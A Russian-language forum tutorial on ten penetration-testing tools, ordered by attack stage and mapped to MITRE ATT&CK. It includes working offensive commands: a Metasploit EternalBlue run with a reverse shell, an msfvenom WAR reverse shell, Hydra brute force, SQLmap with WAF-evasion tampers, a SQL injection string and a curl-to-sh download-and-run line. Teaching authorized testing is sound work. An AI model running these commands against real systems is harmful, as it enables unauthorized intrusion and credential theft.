Когда я начинаю вести воркшоп для начинающих, первый вопрос всегда один: «Какие инструменты установить?» И каждый раз я отвечаю встречным: «А на каком этапе атаки ты сейчас находишься?» Разница между джуном и опытным пентестером не в количестве утилит в системе, а в понимании - зачем конкретный инструмент запускается именно сейчас. Nmap без контекста - просто сканер портов. Nmap в начале kill chain - разведывательный модуль, от которого зависит весь дальнейший вектор атаки.
Дальше - десять инструментов пентестера, которые я реально запускаю каждую неделю. Не просто флаги и ключи, а привязка к этапу тестирования на проникновение: что отобразится на экране и какое решение ты примешь по итогам. Все инструменты привязаны к техникам MITRE ATT&CK - тот язык, на котором разговаривают и пентестеры, и защитники одновременно.
Требования к окружению: Kali Linux 2024.x или Parrot OS с предустановленным набором утилит, минимум 4 ГБ RAM для Burp Suite, учебная среда - TryHackMe, HackTheBox или локальная лаборатория с Metasploitable. Всё тестирование - только с письменного разрешения владельца системы.
Почему набор программ для взлома без kill chain - пустая трата времени
Большинство русскоязычных гайдов по инструментам хакера строятся как плоский список: вот Nmap, вот Metasploit, вот Wireshark - пользуйтесь. Это примерно как дать человеку скальпель, пилу и зажим и сказать: «Теперь ты хирург». Без понимания последовательности инструменты бесполезны.В реальном пентесте каждый шаг определяет следующий. Сначала разведка - выясняешь, что вообще работает на периметре. Затем анализ поверхности атаки - ищешь веб-приложения, открытые сервисы, точки входа. Потом эксплуатация - превращаешь найденную уязвимость в доступ. После - повышение привилегий и перемещение по сети.
MITRE ATT&CK формализует эту логику. Каждой фазе соответствуют конкретные техники: Reconnaissance, Initial Access, Credential Access, Privilege Escalation, Lateral Movement. Запускаешь Nmap - выполняешь Network Service Discovery (T1046). Пробиваешь веб-форму через SQLmap - Exploit Public-Facing Application (T1190). Перебираешь пароли Hydra - Brute Force (T1110). Такой подход делает пентест системным и позволяет писать отчёты, которые заказчик реально может использовать, а не складывать в стол.
Дальше - десять лучших инструментов для пентеста в порядке kill chain, от первого контакта с целью до полного контроля над системой.
Kali Linux - платформа для инструментов ethical hacking
Прежде чем говорить об отдельных утилитах - пара слов о платформе. Kali Linux - специализированный дистрибутив с предустановленным набором из 600+ инструментов, покрывающих каждую фазу тестирования на проникновение. Не нужно ничего компилировать вручную или разгребать конфликты зависимостей: Nmap, Metasploit, Burp Suite, Wireshark, SQLmap, Hydra, Hashcat, ffuf - всё работает из коробки.Альтернатива - Parrot OS, который жрёт меньше ресурсов и лучше подходит для ноутбуков с ограниченной оперативкой. Для начинающих разницы почти нет: оба дистрибутива содержат одинаковый арсенал кали линукс инструментов. Выбирайте тот, в котором комфортнее работать, и переходите к практике.
Разведка: Nmap и сканирование сети
Nmap - сканирование сети как фундамент пентеста
Nmap запускается первым. Всегда. Его задача - показать карту территории: какие хосты живы, какие порты открыты, какие сервисы крутятся и какие версии ПО за ними стоят. В терминологии MITRE ATT&CK - техники Network Service Discovery (T1046, Discovery) и Vulnerability Scanning (T1595.002, Reconnaissance).Типичный запуск:
nmap -sV -sC -p- --min-rate=1000 10.10.10.100. Флаг -sV определяет версии сервисов, -sC запускает набор стандартных NSE-скриптов, -p- сканирует все 65535 портов, а --min-rate=1000 задаёт минимальную скорость отправки пакетов, чтобы не ждать полчаса.
Код:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian
80/tcp open http Apache httpd 2.4.38
443/tcp open ssl/http Apache httpd 2.4.38
3306/tcp open mysql MySQL 5.7.33
8080/tcp open http Apache Tomcat 9.0.30
Отдельная тема - NSE-скрипты. Это не просто «бонус». Скрипт
http-enum находит стандартные директории веб-серверов, smb-vuln-ms17-010 проверяет EternalBlue, а ssl-heartbleed обнаруживает Heartbleed. Я для быстрой разведки AD-периметра часто запускаю связку --script ldap-rootdse,smb-enum-shares,smb-os-discovery - она даёт имя домена, общие ресурсы и версию ОС за один проход.Когда целей много - десятки и сотни хостов - Nmap становится медленным. По данным Schellman, в таких случаях профессиональные пентестеры переключаются на Masscan для первичного сканирования всех портов, а затем точечно добивают найденное Nmap с флагом
-sV.Веб-тестирование: Burp Suite, ffuf и SQLmap
Burp Suite - главный инструмент для веб-тестирования
Если Nmap - глаза пентестера в сети, то Burp Suite - его руки в веб-приложениях. Это платформа для перехвата, анализа и модификации HTTP-трафика между браузером и сервером. По MITRE ATT&CK - этап Exploit Public-Facing Application (T1190, Initial Access).Рабочий процесс начинается с настройки прокси: браузер направляет трафик через
127.0.0.1:8080, и каждый запрос попадает в Burp. Во вкладке Proxy видны все GET и POST запросы - можно остановить любой из них, изменить параметры и отправить дальше. Вкладка Repeater позволяет вручную модифицировать и переотправлять запросы - именно здесь проверяются XSS, IDOR, SSRF и прочие радости жизни.Для burp suite веб-тестирования критически важны расширения. Active Scan++ добавляет проверки, которых нет в базовом сканере - его написал Джеймс Кеттл, один из ведущих исследователей PortSwigger. Autorize автоматизирует тестирование авторизации: переигрывает запросы от пользователя A с токеном пользователя B и сравнивает ответы. Сервер отдаёт одинаковые данные - у тебя IDOR. JS Miner находит скрытые эндпоинты в JavaScript-файлах, которые не видны при обычном серфинге.
Бесплатная версия Burp Suite Community Edition достаточна для обучения: Proxy, Repeater, Decoder - для начала хватит за глаза. Но для реальных проектов нужна Pro - из-за автоматического сканера и Intruder без ограничений по скорости.
ffuf - фуззинг директорий и скрытых параметров
Burp Suite анализирует то, что ты уже нашёл. А ffuf помогает найти то, что спрятано. Быстрый фуззер для брутфорса директорий, файлов и параметров веб-приложений. Старые dirb и dirsearch он заменил за счёт скорости и гибкости - и это не пустые слова, а реальная разница в разы.Базовый запуск:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.100/FUZZ -mc 200,301,302 -t 50. Здесь -w - словарь, FUZZ - маркер подстановки, -mc фильтрует по кодам ответа, а -t 50 задаёт количество потоков. На выходе - список существующих путей: /admin, /backup, /api/v1, /config.php.bak.Продвинутый приём - фуззинг виртуальных хостов:
ffuf -w subdomains.txt -u http://10.10.10.100 -H "Host: FUZZ.target.com" -fs 4242, где -fs исключает ответы стандартного размера. Этот трюк находит внутренние приложения, привязанные к определённым поддоменам, которые не видны при обычном сканировании. На одном проекте мы так нашли staging-версию API с отключённой авторизацией.SQLmap - автоматизация SQL-инъекций
SQLmap автоматизирует обнаружение и эксплуатацию SQL-инъекций - одной из самых опасных уязвимостей веб-приложений. Согласно OWASP, инъекции стабильно входят в TOP-10 рисков безопасности. В kill chain sqlmap инъекции - это переход от найденной точки входа к извлечению данных или выполнению команд.Правильный воркфлоу: сначала находишь подозрительный параметр через Burp Suite, сохраняешь запрос в файл и скармливаешь SQLmap:
sqlmap -r request.txt --dbs --batch. Флаг -r берёт полный HTTP-запрос из файла (с куками и заголовками), --dbs перечисляет базы данных, --batch отвечает на все вопросы по умолчанию.Если WAF блокирует запросы, помогают тамперы:
sqlmap -r request.txt --tamper=space2comment,between --random-agent. Тамперы трансформируют пейлоады - заменяют пробелы комментариями, оборачивают значения в BETWEEN. Но тут важно не обольщаться: SQLmap не всегда находит сложные инъекции, особенно логические. Слепую time-based он обнаружит, а нестандартную второго порядка - вряд ли. Тут без ручного анализа через Burp Repeater никуда.Эксплуатация: Metasploit Framework
Metasploit Framework - от эксплойта до контроля над системой
Metasploit Framework - центральный red team инструмент для разработки и запуска эксплойтов. Нашёл уязвимость через Nmap или Burp Suite - Metasploit превращает её в реальный доступ к системе. Техника по MITRE ATT&CK - Exploit Public-Facing Application (T1190, Initial Access).Типичная сессия - допустим, Nmap обнаружил SMB-сервис на Windows, и скрипт
smb-vuln-ms17-010 подтвердил EternalBlue:
Код:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.100
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
sysinfo покажет версию ОС и архитектуру, getuid - под каким пользователем работаешь, hashdump - дампит хеши паролей из SAM-базы.Настоящая сила Metasploit не в отдельных эксплойтах, а в связке модулей.
post/multi/recon/local_exploit_suggester анализирует текущую сессию и предлагает подходящие эксплойты для повышения привилегий. auxiliary/scanner/smb/smb_ms17_010 проверяет целый диапазон хостов на уязвимость, не запуская сам эксплойт. А post/windows/gather/credentials/credential_collector собирает сохранённые пароли из системы.Для контекста: критические уязвимости вроде CVE-2021-21972 в VMware vCenter Server (CVSS 9.8 CRITICAL, file upload RCE) или CVE-2021-44228 Log4Shell (CVSS 10.0 CRITICAL) появляются в Metasploit в виде готовых модулей (например,
exploit/multi/http/log4shell_header_injection).Атаки на учётные данные: Hydra и Hashcat
Hydra - брутфорс сетевых сервисов
Hydra - утилита для перебора паролей к сетевым сервисам: SSH, FTP, RDP, HTTP-формы, SMB и десятки других протоколов. В терминах MITRE ATT&CK - техника Brute Force (T1110, Credential Access).Базовый запуск:
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100 -t 4 -V. Флаг -l - логин, -P - словарь паролей, -t 4 ограничивает параллелизм до 4 потоков (SSH не любит массовые подключения, при -t 16 сервис может просто забанить IP), -V показывает каждую попытку.Для HTTP-форм синтаксис посложнее:
hydra -l admin -P passwords.txt 10.10.10.100 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials" -t 10. Указывается путь формы, параметры с маркерами подстановки и строка-индикатор неуспешного входа. Именно по ней Hydra понимает, что пароль не подошёл.Ключевой момент: Hydra - онлайн-атака, работает по сети. Если сервис после пяти неудачных попыток блокирует учётку - Hydra бесполезна. Тогда другой подход: получить хеши и ломать их оффлайн.
Hashcat - взлом хешей на GPU
Когда ты получил хеши паролей - через Metasploit hashdump, из дампа базы данных или через Responder (запускается на Linux-машине атакующего для отравления LLMNR/NBT-NS - эти протоколы используются Windows-клиентами, техника T1557.001 применима к Windows-целям) - наступает время Hashcat. Самый быстрый инструмент для оффлайн-взлома хешей, использующий мощность GPU.Типичный запуск:
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule. Тип хеша -m 1000 - NTLM (NT-hash, получаемый через hashdump из SAM-базы). Тут важно не путать: Responder перехватывает NetNTLMv2-хеши, для которых нужен -m 5600 - принципиально другой формат, и попытка взломать их как -m 1000 не даст ничего. -a 0 - атака по словарю, -r best64.rule применяет мутации: добавляет цифры, меняет регистр, вставляет спецсимволы. Словарь rockyou.txt с 14 миллионами записей плюс 64 правила мутации дают огромное покрытие.Разница с John the Ripper: John удобнее для быстрого старта и автоматического определения типа хеша, Hashcat выигрывает в скорости за счёт GPU. Я использую John для первичной проверки и автодетекта формата, а Hashcat - когда нужен серьёзный перебор NTLM и WPA-хендшейков.
Wireshark - анализ трафика в пентесте
Wireshark - анализатор сетевых протоколов, который захватывает и разбирает каждый пакет, проходящий через интерфейс. В пентесте wireshark анализ трафика решает несколько задач: верификация того, что эксплойт действительно отработал, перехват учётных данных в незашифрованных протоколах и анализ поведения сервиса для написания кастомного эксплойта.Два главных навыка для новичка - фильтры захвата и фильтры отображения. Фильтр захвата
port 80 записывает только HTTP-трафик, экономя место. Фильтр отображения http.request.method == "POST" покажет только POST-запросы - именно в них передаются логины и пароли. Фильтр tcp.stream eq 5 выделяет конкретный TCP-поток, и ты видишь полный диалог клиента и сервера как на ладони.Практический сценарий: запускаешь ARP-спуфинг через Bettercap или Responder, а Wireshark перехватывает трафик. Если приложение шлёт учётные данные по HTTP или использует NTLMv2 в SMB - хеши видны прямо в захвате. Фильтр
ntlmssp.ntlmv2_response выделяет NTLMv2-ответы, которые потом передаёшь Hashcat. Прямая связка: Responder + Wireshark + Hashcat.Повышение привилегий и автоматизация сканирования
LinPEAS - автоматический поиск путей эскалации
После получения первоначального доступа (через Metasploit, SQLmap, да хоть через украденный SSH-ключ) задача - повысить привилегии до root или SYSTEM. Вручную - это значит проверять SUID-файлы, cron-задачи, права на директории, ядро ОС, пароли в конфигах - десятки векторов. LinPEAS (и WinPEAS для Windows) автоматизирует весь этот процесс. Техника по MITRE ATT&CK - Exploitation for Privilege Escalation (T1068).Запускается одной командой:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh. Скрипт проверяет сотни потенциальных мисконфигураций и подсвечивает находки цветом: красный - почти гарантированный путь к root, жёлтый - стоит проверить.Что искать в выводе: SUID-бинарники, которых не должно быть в стандартной системе; writable cron-задачи от root; файлы
.bash_history, .env, .config с паролями в открытом виде; capabilities на бинарниках (cap_setuid - почти всегда путь к root). Результат LinPEAS - не готовый эксплойт, а список направлений для ручной проверки. Удивительно, но ни один русскоязычный гайд по инструментам пентестера не включает LinPEAS в базовый набор, хотя это первое, что запускается после получения shell на HackTheBox или TryHackMe.Nuclei - современный сканер уязвимостей
Nuclei - инструмент нового поколения для автоматизированного обнаружения уязвимостей. По данным Schellman, Nuclei становится стандартом в пентест-командах, потому что шаблоны для новых CVE появляются в нём раньше, чем в коммерческих сканерах вроде Nessus. У меня, например, он вытеснил Nikto почти полностью.Принцип работы: Nuclei использует YAML-шаблоны, каждый из которых описывает проверку конкретной уязвимости. Сообщество поддерживает тысячи шаблонов - от CVE до мисконфигураций и дефолтных паролей. Запуск:
nuclei -u http://10.10.10.100 -t cves/ -severity critical,high - проверяет цель на все критические и высокие CVE из базы шаблонов.Для контекста: CVE-2021-44228 (Log4Shell, CVSS 10.0) - уязвимость в Apache Log4j2 от версий 2.0-beta9 до 2.15.0 включительно (исключая security-релизы 2.12.2, 2.12.3 и 2.3.1), позволяющая выполнить произвольный код через JNDI-инъекцию. Версия 2.15.0 уязвима в non-default конфигурациях (см. CVE-2021-45046), в 2.16.0 обнаружен CVE-2021-45105 (DoS). Полностью безопасны: 2.17.0+ (Java 8), 2.12.3+ (Java 7), 2.3.1+ (Java 6). CVSS 10.0 обусловлен вектором S:C (Scope Changed). CWE: CWE-20, CWE-400, CWE-502, CWE-917. Шаблон Nuclei для Log4Shell отправляет JNDI-пейлоад в различные заголовки и параметры и проверяет, приходит ли callback на контролируемый сервер. Ручная проверка того же через Burp Suite занимает часы, Nuclei делает это за минуты на десятках хостов одновременно.
Как лучшие инструменты для пентеста работают в связке: сценарий реального теста
Представь: ты получил от заказчика IP-адрес10.10.10.100 и разрешение на полный пентест. Вот как десять инструментов выстраиваются в цепочку.
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Шаг 1 - Разведка. Запускаешь Nmap с
-sV -sC -p-. Результат: порты 22 (SSH), 80 (Apache), 8080 (Tomcat), 3306 (MySQL). Параллельно Nuclei сканирует все найденные веб-сервисы на известные CVE.Шаг 2 - Перечисление. На порт 80 направляешь ffuf со словарём
common.txt. Находишь /admin, /backup, /api. На порт 8080 ffuf обнаруживает /manager/html - панель управления Tomcat.Шаг 3 - Анализ веб-приложения. Включаешь Burp Suite, настраиваешь прокси. Перехватываешь запросы к
/api, замечаешь параметр id в GET-запросе. Меняешь значение на 1' OR '1'='1 в Repeater - сервер возвращает ошибку SQL-синтаксиса. Инъекция подтверждена.Шаг 4 - Эксплуатация SQL-инъекции. Сохраняешь запрос из Burp в файл, передаёшь SQLmap:
sqlmap -r request.txt --dbs. SQLmap подтверждает инъекцию, извлекает базу данных, находит таблицу users с хешами паролей.Шаг 5 - Взлом паролей. Хеши из базы - MD5. Скармливаешь Hashcat:
-m 0 -a 0 hashes.txt rockyou.txt. За секунды получаешь пароль учётки tomcat_admin.Шаг 6 - Расширение доступа. С паролем заходишь в Tomcat Manager на порту 8080. Через Metasploit генерируешь WAR-файл с reverse shell (
msfvenom -p java/jsp_shell_reverse_tcp LHOST=... LPORT=... -f war -o shell.war), деплоишь через Manager. Получаешь shell от имени пользователя tomcat.Шаг 7 - Повышение привилегий. Загружаешь LinPEAS, запускаешь. Скрипт находит cron-задачу, выполняющую скрипт с правами root, доступный на запись текущему пользователю. Подменяешь скрипт - через минуту получаешь root.
Шаг 8 - Документирование. Wireshark захватывает весь трафик пентеста - это доказательная база для отчёта.
Каждый инструмент передаёт результат следующему. Nmap нашёл порты - ffuf нашёл директории - Burp нашёл уязвимый параметр - SQLmap извлёк данные - Hashcat расшифровал пароль - Metasploit получил shell - LinPEAS нашёл путь к root. Убери одно звено - цепочка разрывается.
Сравнительная таблица инструментов пентестера
| Инструмент | Фаза kill chain | MITRE ATT&CK | Лицензия | Порог входа | Для чего незаменим |
|---|---|---|---|---|---|
| Nmap | Разведка | T1046, T1595.002 | Open source | Низкий | Сканирование сети, инвентаризация сервисов |
| Burp Suite | Анализ веб-приложений | T1190 | Free / Pro | Средний | Перехват HTTP, ручное тестирование веб-уязвимостей |
| ffuf | Перечисление | T1595.002 | Open source | Низкий | Брутфорс директорий, виртуальных хостов, параметров |
| SQLmap | Эксплуатация | T1190 | Open source | Низкий | Автоматизация SQL-инъекций |
| Metasploit | Эксплуатация | T1190 | Open source / Pro | Средний | Запуск эксплойтов, генерация пейлоадов, пост-эксплуатация |
| Hydra | Credential Access | T1110 | Open source | Низкий | Онлайн-брутфорс сетевых сервисов |
| Hashcat | Credential Access | T1110 | Open source | Средний | Оффлайн-взлом хешей на GPU |
| Wireshark | Анализ / Сбор данных | T1557.001 | Open source | Средний | Захват и разбор сетевого трафика |
| LinPEAS | Privilege Escalation | T1068 | Open source | Низкий | Поиск мисконфигураций для повышения привилегий |
| Nuclei | Сканирование уязвимостей | T1595.002 | Open source | Низкий | Автоматизированное обнаружение CVE по шаблонам |
Все перечисленные инструменты предустановлены в Kali Linux или устанавливаются одной командой через
apt install либо go install. Для начала обучения не нужен бюджет - только виртуальная машина с Kali и учётная запись на TryHackMe.Вопрос к читателям
В разделе про Nmap я упомянул связку NSE-скриптов--script ldap-rootdse,smb-enum-shares,smb-os-discovery для быстрой разведки AD-периметра. На практике этот набор часто дополняют или заменяют под конкретные задачи - например, smb-vuln-* для поиска MS17-010 или dns-zone-transfer для выгрузки зоны. Какую комбинацию --script вы используете при первичном сканировании корпоративной сети? Мне интересен ваш набор скриптов с флагами и почему именно он - что он находит, чего не видят стандартные -sC скрипты. Если прикрепите фрагмент команды и описание вывода - будет идеально для обмена опытом.
Последнее редактирование модератором: